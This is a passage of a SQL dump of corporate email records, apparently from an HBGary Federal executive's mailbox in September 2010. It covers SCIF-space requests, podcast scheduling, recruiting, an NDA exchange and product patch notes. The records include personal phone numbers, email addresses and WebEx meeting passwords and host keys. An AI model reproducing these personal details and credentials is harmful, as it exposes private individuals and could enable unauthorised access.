<John.Edwards@agilex.com>','SCIF Space','Hi John,\r\n\r\nDo you have any small amount of scif space available (sponsored by your old org)?  I have a proposal I am working on for a short term gig and need to find some space.  We are sub to NG Xetron on the work.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',15039,'aaron_hbgary_com/15039.html'),(12121,'2010-09-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008997.M730999P14101Q6976.eml','\"Hill, Lawrence C (TASC)\" <lawrence.hill@tasc.com>,deb.debolt@tasc.com,\"Hill, Lawrence C (TASC)\" <lawrence.hill@tasc.com>','Re: EXTERNAL:SCIF Space','Lawrence,\r\n\r\nI just found out this is in support of a proposal, so for it to help\r\nwith our immediate needs, we need to have pricing information by COB\r\ntomorrow.  I know this is a tall order, and understand if Deb can\'t\r\nget it to us this fast.  Either way though we\'d like the information\r\nfor future reference.\r\n\r\nThanks!\r\nTed\r\n\r\n\r\n\r\n\r\nOn Tue, Sep 21, 2010 at 2:35 PM, Ted Vera  wrote:\r\n> For now the 2 person could work - would also be interested to know\r\n> about the BB SCIF.  Can you find out the details / price from Deb?\r\n>\r\n> Thanks!\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Tue, Sep 21, 2010 at 2:30 PM, Hill, Lawrence C (TASC)\r\n>  wrote:\r\n>> Ted,   How much do you need?  We may have a small space (2 person)\r\n>> available and with some effort might be able to make the old Blue Bird\r\n>> space available.\r\n>>\r\n>> I\'ll need to check particulars with Deb Debolt and Bill Lightfoot but\r\n>> certainly will check into it further.\r\n>>\r\n>> L\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Tuesday, September 21, 2010 1:44 PM\r\n>> To: Hill, Lawrence C (TASC)\r\n>> Cc: Barr Aaron\r\n>> Subject: EXTERNAL:SCIF Space\r\n>>\r\n>> Hi Lawrence,\r\n>>\r\n>> Do you have any SCIF space that is available for lease?\r\n>>\r\n>> Ted\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8080,'aaron_hbgary_com/8080.html'),(12122,'2010-09-21','messenger@webex.com','/aaron@hbgary.com/new/1297008997.M986323P14101Q6977.eml','aaron@hbgary.com','Meeting scheduled: Proposal Conversation',' You are the host for this online meeting.   Host Key: 512399 (use this to reclaim host privileges)   To invite others to join, copy and paste everything below into your invitation.  -------------------------------------------------------  Meeting information  -------------------------------------------------------  Topic: Proposal Conversation  Date: Tuesday, September 21, 2010  Time: 9:00 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 576 596 563  Meeting Password: Malwar3   -------------------------------------------------------  To start or join the online meeting  -------------------------------------------------------  Go to https://hbgary.webex.com/hbgary/j.php?ED=155870107&UID=488445912&PW=NMWYzNWNiNGY2&RT=MiMxMQ%3D%3D   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=155870107&tollFree=0   Access code:576 596 563   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".  To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=155870107&UID=488445912&ICS=MS&LD=1&RD=2&ST=1&SHA2=cjnej0Xh1xAcdZoSpU9BTwPqVM2rS1GxXPRx2Pi0yJA=   To check whether you have the appropriate players installed for UCF (Universal Communications Format) rich media files, go to https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. You should inform all meeting attendees prior to recording if you intend to record the meeting. Please note that any such recordings may be subject to discovery in the event of litigation.  ',3406,'aaron_hbgary_com/3406.html'),(12123,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008998.M232662P14101Q6978.eml','\"Aaron Spring\" <aspring@springdesigngroup.com>','Questions?','Hi Aaron,\r\n\r\nJust wondering if you have any questions about the offer?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',11092,'aaron_hbgary_com/11092.html'),(12124,'2010-09-21','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297008998.M432887P14101Q6979.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Lisa Webb, CEcD and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsSeptember 21, 2010\r\n    AFCEA NOVA\r\n\r\n    \r\n      \r\n        Latest:\r\n\r\n\r\n             1 Job\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n  Most Active Discussions (1)\r\n    \r\n      \r\n            The Fort Meade Regional Partnership to host a Presentation to DISA\'s Industry Partners on October 6th in Arlington, VA.  Defense Contractors supporting DISA...register now!\r\n            1 comment  &raquo;\r\n      \r\n        Started by Lisa Webb, CEcD\r\n        \r\n        \r\n            	For more details on this event: ...\r\n                    \r\n                    More &raquo;\r\n              By Lisa Webb, CEcD\r\n        \r\n        \r\n    \r\n\r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           Business Process Analyst - Task Lead, Arlington, VA\r\n           Comment or flag  &raquo;\r\n\r\n         Posted by Staci Redmon, PMP, MBA, President &amp; CEO, Strategy and Management Services, Inc. (SAMS)\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 75 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',8063,'aaron_hbgary_com/8063.html'),(12125,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008998.M648996P14101Q6980.eml','\"Bart Hopper\" <bart.hopper@gmail.com>','Re: Securabit Information Security Podcast','Hey Bart,Just checking in to make sure everything is still on for tomorrow. &nbsp;I am guessing I will just be on in skype a few minutes prior and we will connect up? &nbsp;I have not done a podcast before. &nbsp;Looking forward to it.AaronOn Aug 23, 2010, at 11:45 AM, Bart Hopper wrote:Aaron,Would you be available for the Securabit podcast on Wednesday, September 22 at 8:00pm Eastern time? Since Jason forwarded me the e-mail, I assume you are familiar with the podcast.We record on alternate Wednesday nights at 8:00 Eastern time. We prefer to use Skype if possible. For audio quality purposes, it is recommended that you not use the microphone and speakers built-in to a notebook computer. (Inexpensive mic headsets that cost as little as $15 work fine) The show recording takes about 1 1/2 hours but is edited down (to remove dead air, noise, etc) to about an hour. The shows are generally released on the following Monday. During the show, the hosts and limited number of live listeners chat in the IRC channel irc://irc.freenode.net#securabit. Feel free to join if you wish.\r\nCan I get some information to setup the appearance on the calendar?Skype name:Backup phone number:e-mail address:Twitter id: (if you have one)If you have any questions, please let me know.\r\n\r\nRegards,Bart \"d4ncingd4n\" HopperAaron,Bart is our PR guy for the show and he\'ll be able to set\r\nup a time that works best for you.&nbsp; Please let me know if you have any\r\nquestions and I\'ll be sure to help out where needed.&nbsp; Bart,\r\nCan you please schedule Aaron Barr, CEO of HBGary Federal, to talk about their products and upcoming events on their end.Looking forward to another great show!R/Jason MuellerCo-founder of SecuraBit LLC\r\nwww.SecuraBit.comOn Wed, Aug 18, 2010 at 10:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Jason,\r\n\r\nThanks for the response. &nbsp;Its a small community so please definitely stay in contact and I\'ll do the same.\r\nSure lets get on the phone or meet and talk about\r\nthe podcast, I can tell you a little about what we are up to and go\r\nfrom there.Let me know some good times.\r\nAaronOn Aug 17, 2010, at 9:27 PM, Jason Mueller wrote:\r\nAaron,Thanks\r\nfor your interest and yes I\'m familiar with HBGary. Our RE guys used it\r\nat my last customer site. &nbsp;I just left Symantec in April and jumped on\r\nwith ArcSight which seems to be working out quite well. I\'ll keep your\r\ninfo handy and I\'m sure we\'ll bump into one another at some point in\r\nthe near future. In the meantime, any interest in sharing your product\r\nand thoughts with the SecuraBit podcast? &nbsp;Let me know and I\'ll get a\r\ndate that works best for you. We record every other Wednesday at 8pm\r\nand average roughly 5k downloads per show. &nbsp;Check out www.SecuraBit.com to see a list of prior guests.&nbsp;\r\nR/Jason MuellerSecurity Engineer, Federal Servicesjmueller@ArcSight.com\r\nCell: (540) 842-7019\r\n5 Results WayCupertino, CA 95014www.ArcSight.comSent from my iPhone, please excuse typos.&nbsp;\r\n\r\nArcSight Protect \'10 - 6th Annual Users ConferenceSeptember 19 - 22,2010Gaylord National Resort - Washington D.C.Register Now&lt;http://www.arcsight.com/protect10&gt; - Receive 12 CPE credits for attending!\r\n\r\nOn Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInAaron Barr has sent you a message.\r\n  Date:\r\n  8/17/2010\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n  Hey Jason,\r\n\r\nThanks for accepting. I am not sure if you know much about HBGary or\r\nHBGary Federal. Leading HBGary Federal I am focused on improving\r\ncybersecurity leveraging key people, partnerships, technologies, and\r\nprocesses. I am looking to fill some key positions and would like to\r\ndiscuss them with you if your interested, if not at this time, no\r\nproblem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\n\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\nThank You,\r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\n\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',7261,'aaron_hbgary_com/7261.html'),(12126,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008998.M846256P14101Q6981.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Potentially Available Talent','Hey Jason,\r\n\r\nChecking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',11229,'aaron_hbgary_com/11229.html'),(12127,'2010-09-21','bart.hopper@gmail.com','/aaron@hbgary.com/new/1297008999.M341711P14101Q6983.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Securabit Information Security Podcast','Aaron, Yes, we are still on for tomorrow. just be available via Skype a few minutes early for soundchecks, etc. I won\'t be around since I\'m at the grand canyon on vacation. If something comes up you can contact Jay. Regards, BartSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 21 Sep 2010 18:07:27 -0400To: Bart Hopper&lt;bart.hopper@gmail.com&gt;Subject: Re: Securabit Information Security PodcastHey Bart,Just checking in to make sure everything is still on for tomorrow. &nbsp;I am guessing I will just be on in skype a few minutes prior and we will connect up? &nbsp;I have not done a podcast before. &nbsp;Looking forward to it.AaronOn Aug 23, 2010, at 11:45 AM, Bart Hopper wrote:Aaron,Would you be available for the Securabit podcast on Wednesday, September 22 at 8:00pm Eastern time? Since Jason forwarded me the e-mail, I assume you are familiar with the podcast.We record on alternate Wednesday nights at 8:00 Eastern time. We prefer to use Skype if possible. For audio quality purposes, it is recommended that you not use the microphone and speakers built-in to a notebook computer. (Inexpensive mic headsets that cost as little as $15 work fine) The show recording takes about 1 1/2 hours but is edited down (to remove dead air, noise, etc) to about an hour. The shows are generally released on the following Monday. During the show, the hosts and limited number of live listeners chat in the IRC channel irc://irc.freenode.net#securabit. Feel free to join if you wish.\r\nCan I get some information to setup the appearance on the calendar?Skype name:Backup phone number:e-mail address:Twitter id: (if you have one)If you have any questions, please let me know.\r\n\r\nRegards,Bart \"d4ncingd4n\" HopperAaron,Bart is our PR guy for the show and he\'ll be able to set\r\nup a time that works best for you.&nbsp; Please let me know if you have any\r\nquestions and I\'ll be sure to help out where needed.&nbsp; Bart,\r\nCan you please schedule Aaron Barr, CEO of HBGary Federal, to talk about their products and upcoming events on their end.Looking forward to another great show!R/Jason MuellerCo-founder of SecuraBit LLC\r\nwww.SecuraBit.comOn Wed, Aug 18, 2010 at 10:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Jason,\r\n\r\nThanks for the response. &nbsp;Its a small community so please definitely stay in contact and I\'ll do the same.\r\nSure lets get on the phone or meet and talk about\r\nthe podcast, I can tell you a little about what we are up to and go\r\nfrom there.Let me know some good times.\r\nAaronOn Aug 17, 2010, at 9:27 PM, Jason Mueller wrote:\r\nAaron,Thanks\r\nfor your interest and yes I\'m familiar with HBGary. Our RE guys used it\r\nat my last customer site. &nbsp;I just left Symantec in April and jumped on\r\nwith ArcSight which seems to be working out quite well. I\'ll keep your\r\ninfo handy and I\'m sure we\'ll bump into one another at some point in\r\nthe near future. In the meantime, any interest in sharing your product\r\nand thoughts with the SecuraBit podcast? &nbsp;Let me know and I\'ll get a\r\ndate that works best for you. We record every other Wednesday at 8pm\r\nand average roughly 5k downloads per show. &nbsp;Check out www.SecuraBit.com to see a list of prior guests.&nbsp;\r\nR/Jason MuellerSecurity Engineer, Federal Servicesjmueller@ArcSight.com\r\nCell: (540) 842-7019\r\n5 Results WayCupertino, CA 95014www.ArcSight.comSent from my iPhone, please excuse typos.&nbsp;\r\n\r\nArcSight Protect \'10 - 6th Annual Users ConferenceSeptember 19 - 22,2010Gaylord National Resort - Washington D.C.Register Now&lt;http://www.arcsight.com/protect10&gt; - Receive 12 CPE credits for attending!\r\n\r\nOn Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInAaron Barr has sent you a message.\r\n  Date:\r\n  8/17/2010\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n  Hey Jason,\r\n\r\nThanks for accepting. I am not sure if you know much about HBGary or\r\nHBGary Federal. Leading HBGary Federal I am focused on improving\r\ncybersecurity leveraging key people, partnerships, technologies, and\r\nprocesses. I am looking to fill some key positions and would like to\r\ndiscuss them with you if your interested, if not at this time, no\r\nproblem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\n\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\nThank You,\r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\n\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n',10236,'aaron_hbgary_com/10236.html'),(12128,'2010-09-21','\"Hill, Lawrence C (TASC)\" <lawrence.hill@TASC.COM>','/aaron@hbgary.com/new/1297008999.M48103P14101Q6982.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: EXTERNAL:SCIF Space','Am trying but Deb is tough to get a hold of now with new work/facility issues in LA.   Will advise.  L\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, September 21, 2010 3:43 PM\r\nTo: Hill, Lawrence C (TASC); deb.debolt@tasc.com\r\nCc: Barr Aaron\r\nSubject: Re: EXTERNAL:SCIF Space\r\n\r\nLawrence,\r\n\r\nI just found out this is in support of a proposal, so for it to help\r\nwith our immediate needs, we need to have pricing information by COB\r\ntomorrow.  I know this is a tall order, and understand if Deb can\'t\r\nget it to us this fast.  Either way though we\'d like the information\r\nfor future reference.\r\n\r\nThanks!\r\nTed\r\n\r\n\r\n\r\n\r\nOn Tue, Sep 21, 2010 at 2:35 PM, Ted Vera  wrote:\r\n> For now the 2 person could work - would also be interested to know\r\n> about the BB SCIF.  Can you find out the details / price from Deb?\r\n>\r\n> Thanks!\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Tue, Sep 21, 2010 at 2:30 PM, Hill, Lawrence C (TASC)\r\n>  wrote:\r\n>> Ted,   How much do you need?  We may have a small space (2 person)\r\n>> available and with some effort might be able to make the old Blue Bird\r\n>> space available.\r\n>>\r\n>> I\'ll need to check particulars with Deb Debolt and Bill Lightfoot but\r\n>> certainly will check into it further.\r\n>>\r\n>> L\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Tuesday, September 21, 2010 1:44 PM\r\n>> To: Hill, Lawrence C (TASC)\r\n>> Cc: Barr Aaron\r\n>> Subject: EXTERNAL:SCIF Space\r\n>>\r\n>> Hi Lawrence,\r\n>>\r\n>> Do you have any SCIF space that is available for lease?\r\n>>\r\n>> Ted\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2129,'aaron_hbgary_com/2129.html'),(12129,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008999.M625682P14101Q6984.eml','bart.hopper@gmail.com','Re: Securabit Information Security Podcast','Nice.  I hear the donkey rides are quite an experience.Sent from my iPhoneOn Sep 21, 2010, at 6:48 PM, &quot;bart.hopper@gmail.com&quot; &lt;bart.hopper@gmail.com&gt; wrote:\r\nAaron, Yes, we are still on for tomorrow. just be available via Skype a few minutes early for soundchecks, etc. I won&#39;t be around since I&#39;m at the grand canyon on vacation. If something comes up you can contact Jay. \r\nRegards, BartSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 21 Sep 2010 18:07:27 -0400To: Bart Hopper&lt;bart.hopper@gmail.com&gt;Subject: Re: Securabit Information Security Podcast\r\nHey Bart,Just checking in to make sure everything is still on for tomorrow.  I am guessing I will just be on in skype a few minutes prior and we will connect up?  I have not done a podcast before.  Looking forward to it.\r\nAaronOn Aug 23, 2010, at 11:45 AM, Bart Hopper wrote:Aaron,Would you be available for the Securabit podcast on Wednesday, September 22 at 8:00pm Eastern time? Since Jason forwarded me the e-mail, I assume you are familiar with the podcast.\r\nWe record on alternate Wednesday nights at 8:00 Eastern time. We prefer to use Skype if possible. For audio quality purposes, it is recommended that you not use the microphone and speakers built-in to a notebook computer. (Inexpensive mic headsets that cost as little as $15 work fine) The show recording takes about 1 1/2 hours but is edited down (to remove dead air, noise, etc) to about an hour. The shows are generally released on the following Monday. During the show, the hosts and limited number of live listeners chat in the IRC channel irc://irc.freenode.net#securabit. Feel free to join if you wish.\r\n\r\nCan I get some information to setup the appearance on the calendar?Skype name:Backup phone number:e-mail address:Twitter id: (if you have one)If you have any questions, please let me know.\r\n\r\n\r\nRegards,Bart &quot;d4ncingd4n&quot; HopperAaron,Bart is our PR guy for the show and he&#39;ll be able to set\r\nup a time that works best for you.  Please let me know if you have any\r\nquestions and I&#39;ll be sure to help out where needed.  Bart,\r\nCan you please schedule Aaron Barr, CEO of HBGary Federal, to talk about their products and upcoming events on their end.Looking forward to another great show!R/Jason MuellerCo-founder of SecuraBit LLC\r\n\r\nwww.SecuraBit.comOn Wed, Aug 18, 2010 at 10:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Jason,\r\n\r\nThanks for the response.  Its a small community so please definitely stay in contact and I&#39;ll do the same.\r\nSure lets get on the phone or meet and talk about\r\nthe podcast, I can tell you a little about what we are up to and go\r\nfrom there.Let me know some good times.\r\nAaronOn Aug 17, 2010, at 9:27 PM, Jason Mueller wrote:\r\nAaron,Thanks\r\nfor your interest and yes I&#39;m familiar with HBGary. Our RE guys used it\r\nat my last customer site.  I just left Symantec in April and jumped on\r\nwith ArcSight which seems to be working out quite well. I&#39;ll keep your\r\ninfo handy and I&#39;m sure we&#39;ll bump into one another at some point in\r\nthe near future. In the meantime, any interest in sharing your product\r\nand thoughts with the SecuraBit podcast?  Let me know and I&#39;ll get a\r\ndate that works best for you. We record every other Wednesday at 8pm\r\nand average roughly 5k downloads per show.  Check out www.SecuraBit.com to see a list of prior guests. \r\nR/Jason MuellerSecurity Engineer, Federal Servicesjmueller@ArcSight.com\r\n\r\nCell: (540) 842-7019\r\n5 Results WayCupertino, CA 95014www.ArcSight.com\r\nSent from my iPhone, please excuse typos. \r\n\r\nArcSight Protect &#39;10 - 6th Annual Users ConferenceSeptember 19 - 22,2010Gaylord National Resort - Washington D.C.Register Now&lt;http://www.arcsight.com/protect10&gt; - Receive 12 CPE credits for attending!\r\n\r\n\r\nOn Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\nAaron Barr has sent you a message.\r\n  Date:\r\n  8/17/2010\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n  Hey Jason,\r\n\r\nThanks for accepting. I am not sure if you know much about HBGary or\r\nHBGary Federal. Leading HBGary Federal I am focused on improving\r\ncybersecurity leveraging key people, partnerships, technologies, and\r\nprocesses. I am looking to fill some key positions and would like to\r\ndiscuss them with you if your interested, if not at this time, no\r\nproblem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\n\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\nThank You,\r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\n\r\n\r\nView/reply to this message\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n© 2010, LinkedIn Corporation\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n\r\n',4037,'aaron_hbgary_com/4037.html'),(12130,'2010-09-21','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008999.M845103P14101Q6985.eml','\"Aaron Barr\" <aaron@hbgary.com>','STUFF','Hi AaronWant to follow up on the US-CERT opportunity/next steps for TMCand make sure you will attend the phone meeting Thursday...Maria\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',8881,'aaron_hbgary_com/8881.html'),(12131,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009000.M902877P14101Q6986.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: STUFF','Sure.  I am meeting someone for dinner.  I am in Cincinnati.  Let&#39;s talk to tomorrow.  What&#39;s the Thursday opp?AaronSent from my iPhone\r\nOn Sep 21, 2010, at 7:12 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:Hi AaronWant to follow up on the US-CERT opportunity/next steps for TMC\r\nand make sure you will attend the phone meeting Thursday...Maria\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n\r\n\r\n',6281,'aaron_hbgary_com/6281.html'),(12132,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009001.M132688P14101Q6987.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: STUFF','I can&#39;t do the call.  I am on a plane at 330pm out of Cincinnati.  Can we do a little earlier?AaronSent from my iPhoneOn Sep 21, 2010, at 7:12 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nHi AaronWant to follow up on the US-CERT opportunity/next steps for TMCand make sure you will attend the phone meeting Thursday...\r\nMaria\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n\r\n\r\n',6295,'aaron_hbgary_com/6295.html'),(12133,'2010-09-21','\"Kassaie, Rachel C\" <Rachel.Kassaie@ManTech.com>','/aaron@hbgary.com/new/1297009002.M738503P14101Q6988.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ManTech/HB Gary Non-Disclosure Agreement-M-II','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI have attached fully executed copies of the NDAs for your\r\nfiles. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\nRachel\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, September 20, 2010 2:00 PM\r\nTo: Kassaie, Rachel C\r\nCc: Mentzer, Justin C\r\nSubject: Re: ManTech/HB Gary Non-Disclosure Agreement-M-II\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRachel,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached are the M-II and Pegasus signed NDAs.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15297,'aaron_hbgary_com/15297.html'),(12134,'2010-09-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009003.M212913P14101Q6990.eml','\"Barr Aaron\" <aaron@hbgary.com>','Furman','Hasn\'t been contact for an interview yet -- best way to reach him is\r\nvia cell:  719-371-4803.\r\n\r\nPlease pass along to TASC so they can schedule it.\r\n\r\nTed\r\n',7238,'aaron_hbgary_com/7238.html'),(12135,'2010-09-22','\"Alex Torres\" <alex@hbgary.com>','/aaron@hbgary.com/new/1297009003.M453510P14101Q6991.eml','all@hbgary.com','Responder 2.0.0.0790 is now live!','All,The latest patch for Responder is now live. This patch includes the following upgrades and bug fixes:Feature: Symbol search now has an option to search against all symbols from all extracted modules and drivers or just the symbols for the module you are currently viewing.\r\nBug Fix: Strings view now shows all lines of a multi-line string.Bug Fix: Fixed issue with dragging and dropping nodes to a new popup graph.Bug Fix: Sorting by PID in the Process tab now sorts PIDs numerically.\r\nBug Fix: Fixed intermittent module extraction issue.-Engineering Team\r\n',8155,'aaron_hbgary_com/8155.html'),(12136,'2010-09-22','messenger@webex.com','/aaron@hbgary.com/new/1297009003.M736834P14101Q6992.eml','aaron@hbgary.com','Meeting reminder: Proposal Conversation',' You are scheduled to host this online meeting.   Topic: Proposal Conversation  Date: Tuesday, September 21, 2010  Time: 9:00 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 576 596 563  Meeting Password: Malwar3  Host Key: 512399   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=155870107&UID=488445912&PW=NMWYzNWNiNGY2&RT=MiMxMQ%3D%3D  2. If you are not logged in, log in to your account.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=155870107&tollFree=0   Access code:576 596 563  To check whether you have the appropriate players installed for UCF (Universal Communications Format) rich media files, go to https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. You should inform all meeting attendees prior to recording if you intend to record the meeting. Please note that any such recordings may be subject to discovery in the event of litigation. ',16872,'aaron_hbgary_com/16872.html'),(12137,'2010-09-21','\"Maria Lucas\" 